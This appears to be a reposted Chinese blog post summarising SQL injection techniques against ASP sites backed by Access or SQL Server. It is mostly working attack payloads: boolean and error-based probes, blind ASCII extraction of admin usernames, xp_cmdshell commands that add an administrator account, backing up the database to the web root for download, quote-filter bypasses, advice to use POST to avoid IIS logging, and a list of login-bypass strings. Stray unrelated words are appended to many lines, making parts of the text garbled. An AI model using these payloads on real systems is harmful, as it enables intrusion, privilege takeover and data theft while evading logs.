SQL注入經驗總結

經過鏈接數據庫的引擎判斷數據庫類型:程序員

Access:Microsoft JET Database Enginesql

SQLServer:Microsoft OLE DB Provider for SQL Servershell

 

一點思路:數據庫

每一個動態頁面每一個參數都測一測服務器

相同動態頁面相同參數不一樣值時可能不一樣(不知道什麼狀況,但確實發生了,有待驗證。。)cookie

後臺登錄時截斷查看錶單,試試可否繞過網絡

GET、POST沒頭緒時試試cookie,測試每一個cookie的參數。用sqlmap cookie注入時,試試不帶相對URI(裸域名)ide

注意截包,分析包裏的注入語句的變化函數

可能存在編碼問題,若是頁面編碼爲GBK,能夠試試補全,加個%ce測試

判斷注入點時單撇不行試試雙撇

 

若是程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器一樣會報錯。

有些程序員只過濾了單引號,因此只用單引號測試,是測不到注入點的,能夠用下列語句測試:

http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

 

ASP通常搭配Access和SQLSever。

SQLServer有一些系統變量,若是服務器IIS提示沒關閉而且SQLServer返回錯誤提示的話,那能夠直接從出錯信息獲取,方法以下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

user是SQLServer的一個內置變量,它的值時當前鏈接的用戶名,類型爲nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,固然,轉的過程當中確定會出錯。

若是是普通用戶,SQLServer的出錯提示是:將nvarchar值「bt」轉換數據類型爲int的列時發生語法錯誤;若是是sa用戶,提示是:將「dbo」轉換成int的列發生錯誤。

 

在服務器IIS不容許返回錯誤提示時判斷數據庫類型:

Access和SQLServer都有本身的系統表,好比存放數據庫中全部對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示」「沒有權限「,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確承認以注入的狀況下,使用下面的語句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

若是數據庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id=49是大體相同的;而第二個網址,因爲找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面徹底不一樣。

若是數據庫是Access,那麼狀況就有所不一樣,第一個網址的頁面與原頁面徹底不一樣,第二個網址則視乎數據庫設置是否容許讀改系統表,通常來講是不容許的,因此與原網址也是徹底不一樣。

大多數狀況下,用第一個URL就能夠得知系統所用的數據庫類型(第一個返回跟原頁差很少則是SQLServer,反之則Access),第二個URL只做爲開啓IIS錯誤提示時的驗證。

 

根據注入參數類型,重構SQL語句的原貌,按參數類型主要分爲下面三種:

ID=49,這類注入的參數是數字型,SQL語句原貌大體以下:

select * from 表名 where 字段=49

注入的參數爲ID=49 and [查詢條件],即生成語句

select * from 表名 where 字段=49 and [查詢語句]

class=連續劇,這類注入的參數是字符型:

select * from 表名 where 字段='連續劇'

注入的參數爲Class=連續劇’ and [查詢條件] and ‘‘=’,即生成語句

select * from 表名where 字段=’連續劇’ and [查詢條件] and ‘‘=’’

搜索時沒顧慮參數的,如keyword=關鍵字:

select * from 表名 where 字段 like '%關鍵字%'

注入的參數爲keyword=' and [查詢條件] and '%25'=',即生成語句:

select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'

 

手工猜表名、字段名、字段值:

接着將查詢條件替換成SQL語句,猜解表名,如:

ID=49 and (select Count(*) from Admin)>=0

若是頁面就與ID=49的相同,說明條件成立,即表Admin存在,反之不存在。

猜出表名再猜解字段名,如:

ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0

猜出字段名再猜解字段值,一種最經常使用的方法—Ascii逐字解碼法,雖然很慢,可是確定可行:

假設:已知Admin中存在username字段

首先,取第一條記錄,測試username的長度

ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0

若是長度大於0,則條件成立。更換最後的數直到猜出第一條記錄的username字段值的長度

獲得字段值的長度後,逐位猜解字段值

ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

第一位字符的ASCII碼是否大於0,範圍在1-128之間。

 

SQL注入經常使用函數:

Access:asc(字符)    SQLServer:unicode(字符)    做用:返回某字符的ASCII碼

Access:chr(數字)    SQLServer:nchar(數字)    做用:與asc相反,根據ASCII碼返回字符

Access:mid(字符串,N,L)    SQLServer:substring(字符串,N,L)    做用:返回字符串從N個字符起長度爲L的自字符串,即N到N+L之間的字符串

Access:abc(數字)    SQLServer:abc(數字)    做用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B and C    SQLServer:A between B and C    做用:判斷A是否界於B與C之間

 

中文處理方法:

Access:中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字符不變。

SQLServer:中文的ASCII爲正數,但因爲是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode()返回unicode值,再用nchar函數取得對應的中文字符。

 

利用系統表注入SQLServer數據庫:

http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--

http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--

這種方法只適用於用sa鏈接數據庫的狀況,不然,是沒有權限調用xp_cmdshell的。

http://Site/url.asp?id=1; and db_name()>0    返回鏈接的數據庫名

http://Site/url.asp?id=1; backup database 數據庫名 to disk='c:inetpubwwwroot1.db';--

拿到數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來。在不知道絕對路徑的時候,還能夠備份到網絡地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。

http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0

sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來,第2、三...個表名也能夠經過這種方法暴出來。

http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0

拿到表名後,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名

 

繞過程序限制繼續注入:

利用相關函數,達到繞過程序限制的目的。

過濾'(單引號):

如where xtype='U',字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name='用戶',能夠用where name=nchar(29992)+nchar(25143)代替。

 

經驗小結:

1.過濾沒區分大小寫:用混大小寫測試,如 seLecT

2.由網站上的登陸表單猜想字段名,通常爲了方便起見,字段名都與表單的輸入框取相同的名字。

3.地址欄的+號傳入程序後解釋爲空格,%2B解釋爲+號,%25解釋爲%號

4.用Get方法注入時,IIS會記錄全部提交的字符串,對Post方法作則不記錄,因此能用Post的網址儘可能不用Get。

5.猜解Access時只能用ASCII逐字解碼法,SQLServer也能夠用這種方法,只須要注意二者之間的區別便可,可是若是能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提升。

 

萬能密碼-繞過驗證:

1: "or "a"="a

2: ')or('a'='a

3:or 1=1--

4:'or 1=1--

5:a'or' 1=1--

6: "or 1=1--

7:'or'a'='a

8: "or"="a'='a

9:'or''='

10:'or'='or'

11: 1 or '1'='1'=1

12: 1 or '1'='1' or 1=1

13: 'OR 1=1%00

14: "or 1=1%00

相關文章
相關標籤/搜索